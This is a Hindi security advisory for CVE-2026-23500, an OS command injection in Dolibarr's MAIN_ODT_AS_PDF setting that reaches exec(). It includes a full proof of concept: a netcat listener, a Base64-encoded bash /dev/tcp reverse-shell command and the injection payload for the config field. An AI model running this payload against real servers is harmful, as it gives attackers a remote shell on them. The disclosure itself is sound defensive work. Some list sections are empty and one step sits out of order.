
CVE-2026-23500 - Dolibarr में MAIN_ODT_AS_PDF कॉन्फ़िगरेशन के माध्यम से OS Command Injection (RCE)
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-23500 |
| गंभीरता | CRITICAL |
| परामर्श | GHSA-w5j3-8fcr-h87w |
| खोजकर्ता | Lukasz Rybak |
एक प्रमाणित व्यवस्थापक MAIN_ODT_AS_PDF कॉन्फ़िगरेशन स्थिरांक में दुर्भावनापूर्ण पेलोड इंजेक्ट करके मनमाने ऑपरेटिंग सिस्टम कमांड निष्पादित कर सकता है। यह भेद्यता इसलिए मौजूद है क्योंकि एप्लिकेशन ODT से PDF रूपांतरण प्रक्रिया में exec() फ़ंक्शन को पास करने से पहले कमांड पथ को ठीक से मान्य या एस्केप करने में विफल रहता है।
यह भेद्यता htdocs/includes/odtphp/odf.php में स्थित है। जब सिस्टम किसी ODT दस्तावेज़ को PDF में परिवर्तित करने का प्रयास करता है (जैसे, प्रस्तावों, इनवॉइस में), तो यह MAIN_ODT_AS_PDF वैश्विक सेटिंग का उपयोग करके एक शेल कमांड बनाता है।
कोड स्निपेट (htdocs/includes/odtphp/odf.php, लगभग पंक्ति 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
जबकि फ़ाइलनाम $name को escapeshellcmd() का उपयोग करके सैनिटाइज़ किया जाता है, कॉन्फ़िगरेशन चर MAIN_ODT_AS_PDF सीधे डेटाबेस से प्राप्त किया जाता है और स्ट्रिंग की शुरुआत में जोड़ा जाता है। व्यवस्थापकीय विशेषाधिकारों वाला एक हमलावर इस चर को एक कमांड विभाजक (जैसे ;) के साथ सेट कर सकता है, जिसके बाद मनमाने कमांड जोड़े जा सकते हैं।
पूर्वापेक्षाएँ:
पुनरुत्पादन के चरण (रिवर्स शेल):
हमलावर की मशीन पर netcat लिसनर प्रारंभ करें (IP: 172.26.0.1, पोर्ट: 4445):
nc -lvnp 4445
पेलोड तैयार करें। वेब एप्लिकेशन या शेल द्वारा विशेष वर्णों (जैसे & या >) को एस्केप किए जाने की समस्याओं से बचने के लिए, रिवर्स शेल कमांड को Base64 में एन्कोड करें:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
होम -> सेटअप -> अन्य सेटअप पर जाएँ।
निम्नलिखित इंजेक्शन पेलोड के साथ MAIN_ODT_AS_PDF स्थिरांक जोड़ें या संशोधित करें:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(व्याख्या: jodconverter प्रारंभिक जाँच को संतुष्ट करता है, ; कमांड विभाजक के रूप में कार्य करता है, और पाइपलाइन Base64 पेलोड को डिकोड करके निष्पादित करती है।)
रिमोट कोड निष्पादन (RCE)।
एक हमलावर जो व्यवस्थापक खाते तक पहुँच प्राप्त करता है (या एक दुर्भावनापूर्ण व्यवस्थापक) वेब सर्वर उपयोगकर्ता (सामान्यतः www-data) के विशेषाधिकारों के साथ अंतर्निहित सर्वर पर मनमाने कमांड निष्पादित कर सकता है। यह अनुमति देता है:
Łukasz Rybak द्वारा रिपोर्ट किया गया
यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहाँ दी गई जानकारी केवल शैक्षिक और सुरक्षात्मक उद्देश्यों के लिए है।

कॉमर्स -> नया प्रस्ताव पर जाएँ, एक ड्राफ्ट बनाएँ, एक ODT टेम्पलेट चुनें (जैसे, generic_proposal_odt), और जनरेट पर क्लिक करें।